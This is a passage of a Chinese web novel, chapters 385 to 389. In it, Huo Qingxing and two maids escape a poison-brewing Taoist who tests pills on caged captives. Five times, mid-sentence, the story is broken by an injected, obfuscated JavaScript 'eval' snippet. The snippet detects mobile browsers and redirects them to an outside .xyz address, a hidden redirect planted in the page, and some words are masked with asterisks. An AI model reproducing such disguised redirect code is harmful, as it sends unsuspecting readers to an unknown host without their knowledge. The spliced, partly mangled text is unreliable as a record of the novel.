边上有偌大的铁笼子,瞧着就跟囚笼似的,所有的药人都被送了过去,一个两个全部塞进了笼子里,失魂落魄的像是泥塑木雕。 霍青行站在暗处,瞧了一眼内里,但因为这地方没什么天窗和屋顶,只能偷瞄一眼。 回过味来,脊背贴在墙上。 冰冷的触感让他脑子清楚,努力回想着里面的场景,好像没有看见陈识月的踪影。 人不在。 月儿不在这里? 那人会在哪里呢? “哎呀,这么好的药人,我得好好想一想,得如何处置他们?”白发老道兴奋异常,屁颠颠的跑去炉鼎内,掀开了盖子看着内里炼制的丹药。 废物三兄弟站在哪里,瞧着这老道疯疯癫癫的样子,无奈的摇摇头,然后在边上的长凳上坐着。 “你什么时候能把我这余毒给清一清?”男人开口。 老道一怔,回头看了一眼三兄弟,“你们三各有各的残缺,有什么不好?余毒未清又不会死,急什么?我现在又没有拿你们试药,你们就该偷着乐了。三个残废能活成现在这样,可以自由的满地跑,就该跪下来谢我的大恩了!没有我,你们已经在乱葬岗喂野狗了!” 三人对视一眼,终是没有再多说什么。 “我知道,你们心里都不甘,毕竟受制于人的确不怎么舒服,但没办法,谁让我善用毒呢?门主也得礼敬我三分,何况是你们!”白发老道嗤笑两声,“你们呀,只要好好替我办差,我不会亏待了你们。废物能站起来,将死之人能喘息,内伤快**还能活到现在,可都是我的功劳!” 闻言,三人起身行礼,“多谢道长。” “呵,只要你们心里记着我的好,那也就足够了!”白发老道从炉内取出了几枚丹药,有好有坏,毕竟火候什么的,总归是个问题。 瞧着被炼废的丹药,白发老道满脸的不悦之色,“居然废了这么多?真是混账透顶!岂有此理!浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175587|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这么多药材,可恼可恨!” 瘸子上前,“好歹留了一颗。” “一颗顶屁用,要是这些药人不中用,我这一颗药也得跟着废!”白发老道拿着丹药,小心翼翼的放在了碟子里,瞧着就跟眼珠子似的宝贝着,“就一颗!” 说着,他看了看笼子里的那些人。 这颗药丸还得找个合适的药人,方可试药,否则大半个月才炼制出这么一枚药,浪费了找谁哭去?是以老道便在笼子周围转悠。 一个两个的…… 瞧着体质都不错,身强力壮的,但体质不错和能不能受得住……又是两说。 “我觉得……”瘸子犹豫着开口,“之前**看中了那个女子,似乎是有点说法!” 白发老道幽幽转头,“**?那个疯子?” “对!”瘸子点点头。 其他二兄弟愣是一句话都不敢说,一则怕**,二则怕霍青行。 “一个女子?”白发老道不解,“有什么可看中的?” 瘸子摇摇头,“那可不是寻常女子,好像是**的那条蛇,都能受他影响,甚至于**不是那个男人的对手。” “等会,你怎么一会男一会女的?那疯子看中的到底是男人还是女人?”白发老道听得有些迷糊了。 瘸子急忙解释,“是一男一女,但不知道为何,您的毒烟没笼住他们,这会还不知道在哪呢?那女子好生本事,会岐黄之术,会下毒,以至于**都不敢轻举妄动。看他们之前那般模样,言语所陈述,应该是从总舵那边跑出来的。” “这么厉害?”白发老道眼睛都亮了,“那女子如此厉害?那还有个男子呢?” 瘸子又道,“那男子功夫奇高,险些杀了**,还逼退了门中众弟子,**之快,简直令人发指。这么好的功夫,必定也是极好的药人。” 功夫好,内力高,想来中了毒的话,一时半会也死不了的。 “好好好,居然有如此妙人。”白发老道欣喜若狂,“找到他们,我要拿他们试药。” 瘸子却犹豫了,“男人武功奇高,咱不是对手,而那女子……是**看中的。” “我管他是谁!谁先得手……就是谁的!” 第三百八十五章 她在你们**手里 看得出来,白发老道很是振奋,世间有太多的痴儿,有痴情,有医痴,有武痴,也有人专攻毒术!就好比眼前这白发老道,年纪都一大把了,还想着怎么害人,阎王爷看着都直摇头。 虽然那看不见里面的动静,可霍青行能听见,并且能听得一清二楚,想拿他和月儿去试药,这老东西活得不耐烦了? 等找个机会,让他自个把那些穿肠烂肚的药全都灌下去,他加注在别人身上的苦痛,也该让他自个承受一番。 如此,才算恶有恶报。 蓦地,好似察觉到了一场,霍青行皱眉看向前后。 那个怪人呢? 护卫似乎也发现了异常,这会正在探头探脑,按理说那怪人在他们之前进来,应该就在附近才对,怎么这会没瞧见人呢? 二人对视一眼,都从对方的眼里看出了狐疑之色。 人呢? 约莫过了一刻钟左右,洞内忽然传出了凄厉的惨叫声,惊得洞外二人皆是身形一震。 怎么回事? 内里。 有人倒伏在地,发出了凄厉的惨叫声,疼痛让人蜷起了身子,捂着腹部满地打滚。 大概是惨叫声太过刺耳,牢笼里的人好似渐渐醒过神来了,一时间都有些懵逼,没反应过来究竟出了什么事? “这是什么地方?”冬梅晃了晃脑袋。 迎春本就不清醒的脑袋,这会还处于死机状态,就这么傻乎乎的坐在那里,愣是没能吭声。 另外两个护卫不在这个笼子里,在隔壁,所以当冬梅醒转之后,当即喊了两声,“喂,你们都醒醒,你们都醒醒。” “这是哪儿?”两个护卫先后回过神来。 身上没力气,手软脚软的,就像是服了软筋散一般,难受得让人想吐,那种无法言语的恶心感铺天盖地而来,连带着脑子都浑浑噩噩。 “是那白雾!” “没错,迷雾!” 正是因为那些白雾,所以他们都像是失去了意识,恍恍惚惚的,听从某个声音的召唤,一步步的……不知道钻谁家的笼子里来了? “你们是何人?”冬梅冷声厉喝,然而身上没力气,话到了嘴边竟也变得软绵绵,轻飘飘的,可见是真的着了人家的道。 好在,没瞧见姑娘和少将军。 如此一来,至少……少将军是安全的。 至于姑娘的下落,想来跟这白发老头没关系? 还好还好,姑娘没落他手里。 “这么快就醒了,果然是极好的药人。”白发老道就这么直勾勾的盯着冬梅,“我道你还得要几个时辰呢,没想到竟是这般康健。” 冬梅没听明白他这话是什么意思,眉心都快拧成了川字,“你在放什么狗屁?老头,你到底是谁?为什么要把我们关在这里?那些白雾,是不是你做的手脚?” “你们留在这里,自然是因为……这是我的地盘,我要留着你们试药呢!”白发老道阴测测的笑着,“瞧见没,地上那个……” 可惜了,没熬过去。 “就这么滚了几圈就没动静了,实在是不中用啊!”白发老道直摇头,“你体质不错,应该比他要强上些许,拿你来试药,必定效果极好!” 冬梅终于看清楚了,躺在地上的人。 七窍流血,死的时候因为太过痛苦,以至于五官扭曲,面目狰狞。 这就是被人拿来试药的下场? “你干这些丧尽天良的事,不怕遭报应吗?”冬梅咬牙切齿,“拿活人试药,你简直就是畜生!” 白发老道不以为意,“这些人活着和**没多大区别,谁会记得住他们呢?既然如此,还不如成全我,我让他们的生死都有了极大的意义,这有什么不好?” “那你为什么不自己去吃?让自己也死得很有意义?这不好吗?”冬梅愤然。 白发老道白了她一眼,“无知妇孺,你可知道我这药有多金贵?让他们试药,都是看得起他们!” “多谢你的看得起,让别**离子散。”冬梅咬牙切齿,死死抓紧铁栅栏,要不是身上没力气,她定要撕碎了这老匹夫,“人面兽心的东西。” 最恨的就是这种可恶的恶人! “不管你怎么说,如今这里都是我来做主。”白发老道嗤笑两声。 瘸子走过来,“道长,别跟她废话,先弄死他们吧!” “放屁!老道不**!”白发老道训斥,“我只是拿人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190378|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试药,这是造福天下的好事,怎么到了你嘴里就这般缺德无良?” 瘸子:“……” 冬梅的目光,死死落在了瘸子身上,“你们三个丧尽天良的腌臜东西,最好让我死在这里,否则待我有命活下来,立刻撕碎了你,让你知道五马分尸是什么滋味!” 她的目光太狠,以至于瘸子下意识的往后退,愣是没敢靠近分毫。 “我就说……我就说这不是好东西。”瘸子嗫嚅着,“道长,你还是尽早动手吧,免得夜长梦多,到时候真的惹来了灾祸,可别怪我没提醒你。” 一听灾祸两个字,白发老道皱起眉头看他,“闭上你的乌鸦嘴,不需要你来指挥我做事,别忘了自己是什么身份?你有什么资格在我这里指手画脚?” 大概是害怕,瘸子瑟缩了一下,讪讪的闭了嘴。 “你们三个废物。”冬梅盯着他们,“迟早撕了你们。” 三人面面相觑,没敢吭声。 胆子的确不大,性子也外的怂包,偏偏是这样的三个人,因着表面上的贪生怕死,害了那么多无辜的人,这笼子里被抓的,误闯进不归林的人,多少都是因为他们三个的诱骗缘故。 “等你再缓一缓,老道再拿你试药。不过,我听说跟你们在一起的,还有个女子?那女子有一身的好医术……”白发老道直勾勾的盯着冬梅,“她在哪呢?怎么没跟你们在一起?还是说,若是她知道你们在我手里,一定会……救你们?” 冬梅眼皮子突突跳。 他说的,是姑娘? “呵!”冬梅又不是傻子,回过味来就坐在了角落里,“你要找她呀?” 白发老道兴奋了,“她在哪?” “这得问你们那位好**了。”冬梅挑眉,“他下手没个轻重,你们心里没数吗?如今人在哪儿,还需要多问什么?有这本事,你怎么不去找你们的好**要人?找我有什么用?” 白发老道愣怔,“人在**手里?” “整天玩条死蛇,浑身臭烘烘的,有什么可得意的?要不是我家公子不在,哪能让他得手?”冬梅背着他,眼珠子滴溜溜的转,“迟早炖了那条蛇,瞧着就好吃得很!” 白发老道沉默了。 第三百八十六章 拿她练练手 人在**的手里,那这事可就不好办了,要从那个疯子手里讨人,比登天还难。 “怎么?你也有怕的时候?”冬梅毫不掩饰嘲讽的语气,几乎刺痛了白发老道,“你赢不了,所以这人你就抢不回来了。” 白发老道裹了裹后槽牙,“他算个什么东西?要不是门主护着他,就凭他也配骑在我的头上?人在他手里又能如何?只要我想要,他就得给我吐出来。” “有这么大的能耐,你还能在这?”冬梅可不信,回头看他时,眸中难掩的鄙夷之色,“那长蛇精可不是好对付的。那条蛇……” 瘸子低声开口,“你别中计,这些人嘴里都不知道有没有实话,你若贸贸然相信了他们,到时候真的去找了**,若然出了事可没人能救你。” **是谁? 那是门主的心腹,是门主最信任的左膀右臂,这就意味着,不管出了什么事情,门主第一维护的便是这位**。 跟**争? 没有胜算。 “你也觉得,我会怕了那黄口小儿?”白发老道满脸的愤恨之色,“那小子耀武扬威很久了,若是任由其这般恣意下去,这长乐门都要成他的长乐门了,凭什么?论下毒的本事,老夫哪儿输给他了?” 那么好的药人,怎么就落在那小子手里了? “你那么有本事,你就去抢啊!”冬梅吃力扶着铁栅栏站起来,“别光动嘴皮子,有本事你也动动手啊!你去抢啊!抢回来看看?我家姑娘可是最好的药人,这天底下没有人比她更熟悉药性,医术精湛。” 迎春这会也算过来了,不知道是不是因祸得福,之前在沼泽里泡坏的脑子,因着毒烟的关系,竟有些许好转。 在这囚笼里坐了好一会,总算是彻底清醒过来。 “我家姑娘是一等一的好,她能控制那条蛇。”迎春忽然开口。 倒是把白发老道给吓一跳,“她可以?” “那条蛇叫长阴。”迎春浑身乏力,连站都站不起来,只能坐在角落里,面色平静的看向白发老道,“我说的对吧?” 连名字都知道,那应该是真的。 白发老道犹豫了一下,“若是她能控制长阴,为什么还会落在**的手中?” “因为我家公子不在,姑娘能控制长阴,但控制不了那个疯子。”迎春这话也不是没道理的。 长阴是蛇,是冷血动物,不过是培养的过程中有所驯化,但到底是动物不是人,缺乏了一定的思考能力,当然是可以控制的。 那疯子就不一样了…… 疯子,本来就疯。 “疯子发起疯来,我家姑娘也没办法。本来倒是有点东西的,都让那个下毒的腌臜东西给霍霍没了,哦对了,说起那个人……你应该也有所耳闻吧?满山里转悠,还想对我们下手,结果让姑娘治得服服帖帖,差点连命都交代在姑娘手里。”迎春冷嘲热讽,“我瞧着你这一把年纪了,反应应该更慢些,怕是到时候还不如那男人呢!” 听得这话,白发老道的神情忽然紧张起来,“你说什么?哪个下毒的?” “不就是林子里,整天一身黑,大半夜出来吓唬人的,又是养蝎子又是养蛇的?”冬梅白了他一眼,没好声好气的开口,“那蛇滋啦一下站起来,比人还高呢!好几条过山峰!” 一听这话,白发老道的脸色全变了,“饶是如此,也赢不了你家姑娘?输给一个女子?” “哎哎哎,这叫什么话?什么叫输给一个女子?我家姑娘好着呢!”冬梅可就不乐意了,“姑娘随手一挥,往跟前一站,那些蛇压根不敢靠近她,蝎子蜈蚣见着她就掉头跑,本事大着呢!怎么着,那是你的狗儿子吗?” 迎春上下一打量,“道士应该不至于生儿子吧?最多捡回来的野种。” “哦,原来如此!”冬梅应声。 二人一唱一和的,直唱得白发老道脸都黑了。 “你们闭嘴!”瘸子忙不迭开口,“那是徒弟。” 冬梅和迎春对视一眼,“哦,徒弟?” “废物。”迎春嗤笑,“原来你这牛鼻子老道也就这么点本事?要不然,怎么会教出这么没用的徒弟?连我家姑娘的身边都靠近不了。” 白发老道训斥,“你闭嘴!” 语罢,他开始发了疯似的,在屋子里徘徊,嘴里絮絮叨叨的,似乎是在念叨着什么。 但看他这般模样,应该是气狠了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190379|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来也是。 本来自鸣得意,自视甚高,谁知道凭空杀出个程咬金,且这程咬金还是他们瞧不上的女流之辈,可不得气个半死吗? 学艺不精就算了,还输给一个女子,脸都没地方搁。 见此情形,废物三兄弟不敢吱声,老老实实靠边站,只时不时的拿眼去瞄囚笼里的人,看得出来是有些紧张的。 “想来没少吃苦头。”迎春开口。 冬梅瞥了一眼废物三兄弟,“活该!” “姑娘不在他手里。”迎春虚弱的靠在那里,压低了声音,“至少算是一桩幸事。” 冬梅点头,“我们也得想办法出去,这老道就跟疯子没区别,咱赢不了他。” 白发老道惯用阴毒之术,好下毒害人,现在大家都是受制于人,虚弱无力,若是真的动手,绝对没有胜算可言。 然而下一刻,迎春睨了一眼门口,忽然眼神一亮,当即扯了一下冬梅的袖口。 “怎么了?”冬梅不解。 迎春眼角眉梢微挑,冬梅先是一愣,其后忽然福至心灵,明白了这其中的奥义,当即抬眸看了一眼门口,然后与迎春对视。 好得很! “我一定不会输,我怎么可能输?我绝对不会输的!”白发老道絮絮叨叨,“好像是疯了一般,怎么可能输给一个女子?岂有此理,简直是岂有此理!” 然,事实就是如此。 好似忽然想起了什么,白发老道猛地拿起了一枚药丸,缓步朝着囚笼走去,“就你们话多,既然这般吹捧,那我就先拿你们试一试再说。总归得让你们看到我的厉害!” 说到这里,白发老道斜了一眼边上的废物三兄弟,“还愣着作甚?还不快过来?把她给我拽出来,既然精气神最好,那就先拿她练练手,要是她这身子骨比她的嘴还硬,那我就信她说的那些。” 否则,他不信! 全然不信! 自己的徒弟,倾囊相授的徒弟,怎么可能比不过一个女流之辈。 “是!” 牢笼被打开,三人快速上前,直接将冬梅从里面拽了出来。 “冬梅!”迎春想扑上来,却被狠狠推回笼中,“冬梅!” 第三百八十七章 药人跑了 冬梅被拽了出去,身上没力气,一个踉跄便扑在了地上,回过神来,旋即拂开了桎梏她的手,虽然即刻被重新扣住,但到底是挣扎了一下。 原本就力大如牛,即便是没力气,也胜过常人! “好大的力气!”瘸子愣了愣。 瞧得出来,他们仍是心有余悸,此前被擒时,也都是见识过这些人的厉害。 “力气大了才好,说明体质不错。”白发老道目不转睛的盯着冬梅,握紧了手中的丹药,“掰开她的嘴!” 可不能浪费了他这么好的丹药,定然要喂下去才算! “是!”瘸子接过了药丸,旋即让那两兄弟把冬梅的嘴掰开。 冬梅在挣扎,迎春和其他人都在笼子里嘶喊。 可所有人都使不上劲,这白发老道的毒果真是霸道得很,纵然是软筋散还能挣扎一下,可此番竟是毫无挣扎的余地。 “冬梅!”迎春浑身震颤,“别动她,让我来,让我来!我来试!换我来!你们别动她!” 下一刻,一道黑影快速窜出来,仿佛是从天而降,速度之快,快如闪电。 几乎是一眨眼的事,人就被撞开,那颗药咕噜噜直接滚下了池子里。 “哎呀,我的药,我的药!你们这些蠢货!你们这些蠢货!”白发老道气得直跳脚,想扑过去捡起,奈何还是晚了一步。 药丸已经落了池子,等于是前功尽弃。 瘸子等三人都被撞飞出去,落地那一瞬间,各个都是哀嚎出声。 “谁?”白发老道愤然,“哪个杀千刀的……” 说话间,他已经拂袖洒出了白色的粉末。 顷刻间的事儿,空气里顿时弥漫出淡淡的香味,让冬梅登时警觉,“屏住呼吸,他用毒!” 那一瞬,所有人的声音都戛然而止,没人再说话,全部都屏住呼吸,连带着外头的霍青行都身形一僵,不敢贸贸然闯进去。 奇怪的是,那动静很快再度响起,紧接着便是男人的嘶吼声。 “又是你!又是你!”白发老道歇斯底里,“抓住他,今日我定要把他**万段,别以为你有食人藤,我就拿你没办法,这可不是你那个破山洞!” 里面传出了噼里啪啦的声响,好似在打砸一般,这家伙是不怕要拆了这个洞吧? 白发老道在愤怒嘶吼,“我要弄死你!” 然而,弄死可没那么容易。这黑漆漆的地方,就黑乎乎的一道影子,速度还那么快,想要下毒也得掐着点,要不然的话……容易误伤。 “这到底是个什么东西?”是瘸子的喊叫声。 紧接着便是几声闷哼,好似有人被踹出去,狠狠撞在墙壁上,然后落地的声响,这砰啊啪啊,吧嗒的声响,听得霍青行那叫一个身心畅快。 打! 打得好! 最好乱成一锅粥。 渐渐的,动静似乎小了一些。 有人高声喊,“中了!中了!” 只瞧着废物三兄弟已经拉开了毒网,然后直接将一团黑乎乎的东西笼罩在其中,内里发出了刺耳的尖叫声,咿咿呀呀的,动静闹得很大。 霍青行睨了护卫一眼,示意他在外面接应,自身则忽然转身,快速冲着内里而去。 进去的那一瞬间,内里顿时一片漆黑。 很好。 没了光亮,那就是这怪人的天下。 人对黑暗的适应能力有限,但是怪人一直生活在洞窟里,他早就习惯了黑暗,恰是黑暗才是他的世界,是以众人眼前一黑,他却是快速窜起,脱逃而去。 毒网扑了个空,所有人都在气急败坏,连白发老道都在歇斯底里的咒骂,“蠢货,你们这三个蠢货,这么好的机会还能让人跑了,你们想要气死我啊!” 药丸落入了池中,还被怪人打碎了不少东西,满室狼藉几乎可以想象。 冬梅只觉得身子一轻,已经被人搀起,紧接着便是纵身而去。 “点灯!火呢?”白发老道还在怒吼,“别让我的药人跑了!这可都是我辛辛苦苦抓来的,要是跑了,我就弄死你们!” 终于,火光再度燃起。 光亮回归,但早已没了怪人和冬梅的下落。 迎春的声音卡在嗓子眼里,从怪人出现之后,她就在屏气凝神,盯着黑暗里的一切,让自己尽快适应周遭的黑暗。 她能看见,一道影子落在了冬梅身侧,然后快速带着冬梅离开,虽然黑暗中看不清楚来人是谁,也没看清楚到底把冬梅带去了哪儿,但只要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194651|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在这白发老道的手里,怎样都是好的! 试药? 说白了,就是草菅人命! 迎春松了口气,还好,还好! 跑了就好! “跑了?”白发老道快疯了,“快给我追,给我追回来!要是追不回来,我就拿你们充数!” 废物三兄弟爬起来就追,这会是真的着急了,要是被拿来试药,他们还能有命在? 不成,赶紧追。 三兄弟追出去之后,迎春一颗心七上八下,抬头看向那疯癫的老道,止不住扬起了唇角。 “你笑什么?”白发老道歇斯底里,“有什么好笑的?” 迎春嗤笑两声,“笑你无能,不行吗?自己没用,还不让人说?” “你是不是看见了什么?”白发老道到底是老,老东西经验足,一下子就发现了问题的关键,“你看到了那个带走药人的人?” 迎春凑到了囚笼前面,笑盈盈的眨了眨眼,“谁说不是呢?我看见了,一个男人……” “一个男人?”白发老道低声呢喃,“什么样的?” 迎春靠在那里,“黑灯瞎火的,谁看得清楚呢?但是能进你这地方,熟门熟路的,应该也不多吧?功夫那么好,还特意带走了你的药人,这里面可就有点名堂了!” “**?”白发老道忽然就迟疑了。 那疯子不至于如此疯狂吧? 敢闯到他这里找人? “你需要好的药人,他又何尝不是?他炼制的东西,比你的更阴狠毒辣,更需要有人试药。”迎春循循善诱,“你们想要的东西太相似了,那就难怪会有争端,你得认输,毕竟那可是你们的上级!” 白发老道恶狠狠的盯着她,“你以为你挑拨离间,我就会相信你吗?” “我就算没有挑拨离间,你也知道这里面的弯弯绕绕,我只是替你说出口而已,所以……你装什么呢?”迎春摇摇头,“你需要的东西,和身份不冲突,只是看谁想要而已!” 白发老道被她绕进去了,脑子有点懵,就这么傻乎乎的盯着她。 怎么觉得,有点道理呢? “你想不想,找回你的药人?我还能帮忙,引出我家姑娘。”迎春垂眸,眼珠子滴溜溜转。 第三百八十八章 天塌了 “你家姑娘不是落在**手里了吗?”白发老道狐疑的看向迎春,“你嘴里到底有几句实话?” 满室内的狼藉,已经让他的耐心耗尽,他现在急需一个发泄的出口,所以眼睛的杀意是怎么都藏不住了,那叫一个阴狠无温。 “我家姑娘不管落在谁的手里,都会自救。”迎春皱起眉头看他,“你不会以为我家姑娘是个束手就缚,傻乎乎等着挨刀子的傻子吧?” 白发老道愣了愣。 “我家姑娘是顶顶聪慧之人,要不然你那死徒弟为何奈何不了她?”迎春心里盘算着,要怎么能哄得这老东西,跟长乐门的人自相残杀呢? 旁人不行,这老东西脑子不清楚,满脑子只有这些瓶瓶罐罐,想来也是有点机会的。 谁知道呢? 不试试怎么行? 反正都到了这地步,还有什么可犹豫的? 大不了,一死而已! “看样子,你是个懦夫!”迎春白了他一眼,“既然如此,那就没什么可说了,反正我这条命就在这里,你爱要不要,其他的……那就想想吧!想到头发都掉了,估摸着也得不到你想要的。真是废物!” 白发老道面上狠戾,“你说谁是废物?” “谁应声就说是谁咯?你看看这里,被人砸得乱七八糟,你连人家一片衣角都抓不到,到手的鸭子都飞了,还需要什么来证明你是个废物吗?”迎春嘲讽意味十足,“罢了,既是废物……权当是我多嘴,反正你那徒弟好不到哪儿去,这师父肯定也不怎么样。” 白发老道气得在室内转悠,“你放屁!你放屁!” 居然敢质疑他的毒术? 岂有此理! 他倒要看看,那个女流之辈究竟有多大的本事? “呵!”迎春扯了扯唇角,不屑的翻个白眼,“你倒是做出来瞧瞧,动动嘴皮子谁还不会呢?” 白发老道眯起危险的眸子,杀意腾的窜起,“你信不信,我现在就杀了你。” “我现在和死有区别吗?有本事你就杀了我,看我皱不皱眉头?”迎春懒洋洋的应声,瞧得出来,的确是虚弱至极,一张小脸煞白煞白的。 她的确没有反抗的能力,这是毋庸置疑的事情,在这一点上,白发老道对自己的毒术是很有自信的。 刚想再说点什么,却听得脚步声急急忙忙而来。 之前那位余毒未清的男子,气喘吁吁的冲进来,“人跑了!没、没找到!” 不论是那个怪人,还是劫走冬梅的援手…… 都没找到! “呵,果然废物带出来的,都是废物!”迎春补充一句。 白发老道差点跳脚,“混账东西,还不继续找,要是真的找不回来,我就拿你们试药。” “是!” 男人快速跑了,可见是怕极了这白发老道。 试药? 一下子毒死也就罢了,要是死不了,那就得生不如死。 外头,黑漆漆的。 声音忽然全部消失了,不,应该说除了火光还在呼啦呼啦的摇曳,什么动静都没了,能清晰的听到属于自己的心跳声,呼吸声,其他的……未有所闻。 忽然间的寂静,让白发老道都跟着紧张起来,一时间还真有些紧张。 自己的地盘,按理说…… “怎么有种被人盯上的感觉?”白发老道面色陡沉,快速朝着门口走去。 他就不信了,还有人敢在自己的地盘上作死?! 殊不知,他前脚刚出去,后脚护卫就进了门,快速打开了囚笼,“走!” 解毒丸一人一颗,虽然未必能解毒,但可以缓解,不至于成为受制于人的囚徒,相互搀扶着还能离开此处。 至于其他人…… 这边上的囚笼里关着不少人,有些面黄肌瘦,有些身形消瘦,神情麻木而呆滞,瞧着……多多少少都是受过苦的。 人眼中的绝望很容易让人动容,所以…… “放了吧!”迎春说。 护卫点点头。 那就全放了! 和之前在洞窟里一样,姑娘怎么做,迎春就怎么学。 全放了。 当牢门打开之后,这些人都还有些发懵。 “还愣着做什么?各自逃命去吧!出去还有一线生机,留在这里只有死。”迎春看向众人,“活路我放这了,要怎么选择全看你们自己,想留下的留下,想跑的趁现在。” 不管他们如何选择,都不在迎春的考虑范围内,她现在能做的就是尽快离开,不要拖累任何人…… 那白发老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204146|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,很快就会察觉到不对劲,返回这里。 洞内漆黑一片,出去没多远,便传来了霍青行的声音,“这边!” 冬梅安然无恙。 迎春如释重负,“没事就好!刚才吓死我了!” 可不得吓死嘛! 那药丸,眼见着就要塞进冬梅的嘴里了。 “亏得少将军及时搭救,要不然真的要死在那里了!”冬梅如释重负。 但是…… 姑娘还是丢了。 “找到姑娘了吗?”迎春问。 霍青行摇摇头,“那老道就在洞口徘徊,你们身子都没有恢复,不知道他在附近设了多少陷阱,暂时不宜出去,先交给我来周旋,等你们恢复些许,咱们再作打算。” 一个人跑没问题,但是这么多人,万一误入陷阱,霍青行救得了这个,救不了那个,等于是分身乏术,所以大家只能先躲一躲。 所谓灯下黑,藏在眼皮子底下估计最安全。 最危险的地方才是最安全的。 霍青行将所有人都藏匿在一个小洞内,外头用乱石重新垒砌,乍一眼是绝对看不出来的,如今需要的是时间,只要他们能恢复过来,他便不再有后顾之忧。 月儿不在这里,刚才那个怪人……是从哪个方向窜出来的,按理说他应该和月儿在一起,怎么一直没瞧见月儿呢? “你们藏在这里不要出声,我去看看情况!”霍青行纵身一跃,消失在黑暗中。 月儿虽然不在这里,但是这白发老道对山中熟悉,若是要找人的话,他应该是最为熟悉的,跟着这白发老道必定是有收获。 霍青行不敢轻易出手,一则担心老道的毒,不怕明刀明枪,就怕暗箭难防;二则不能暴露自身,以免打草惊蛇。 迎春都已经铺垫好了,自己只需要藏好行踪,远远跟着便是…… 白发老道出了洞口,还没走几步就觉得有些不对劲。 “坏了!调虎离山?”白发老道旋即往内冲。 不瞬,凄厉的惨叫响彻洞窟。 “我的药人啊啊啊啊!谁!是谁!” 辛辛苦苦那么多年,一朝回到解放前,换谁不疯?攒了那么久的药人,一下子全飞了,瞬间觉得天塌了,因为有几个药人恰好处于试药阶段…… 第三百八十九章 他一下子解决了三个 任凭这白发老道在里面歇斯底里,都无人应答,这么大的缺口,想必没个一年半载,他是寻不回这么多的药人了,不过药人跑出去……能不能躲开长乐门的追捕,那又是另一个说法。 该怎么说呢? 横竖都是死,不如拼一把。 吃过**的药人,本身就带着一定的毒性,若是一不留神的……说不定能带走几个,也算是为民除害了,自己活不成,那就多拉几个垫背的。 霍青行深吸一口气,悄摸着出了洞口。 洞里的老道只管发疯,想必顾不上外头,趁着现在天黑,先解决掉他的左膀右臂,哦不,算不上什么左膀右臂,最多是助纣为虐的爪牙。 霍青行的速度自然是很快的,那三个废物,一个是瘸子,一个内伤未愈,一个余毒未清,又能跑得到哪儿去呢? 先解决的是内伤未愈的那个,本来就是病秧子,走不出霍青行三招。 “好汉饶命,好汉饶命!” 只是这话刚出口,就已经被抹了脖子,然后腰带被解下,困住双手吊在树下。 霍青行是不会给背叛者第二次机会的,之前那次他不在,迎春和冬梅到底是心软,所以没能杀了这三兄弟,这才导致了后面被这帮宵小之辈欺瞒,差点身陷沼泽而枉送性命。 但是这一次,不会了! “你没机会了!”霍青行转身就走。 很快就会有人发现他的尸体,到时候就能吸引来更多的腌臜东西,一网打尽的前提是先放饵,只有这样才能达到预期的效果。 约莫过了一刻钟左右,那两兄弟大概找不到人,就开始往回走,没想到这边竟挂着一个东西,瞧着是人影,谁知走进一看……是自家兄弟。 这下子,脑瓜子嗡嗡的,二人齐刷刷连说话的声调都变了,你一声我一声,喊破嗓子也没能喊醒去了阎王殿报道的兄弟。 解下悬在树下的尸体,恍然惊觉,尸体都凉了…… 不只是凉了,还梆硬梆硬的。 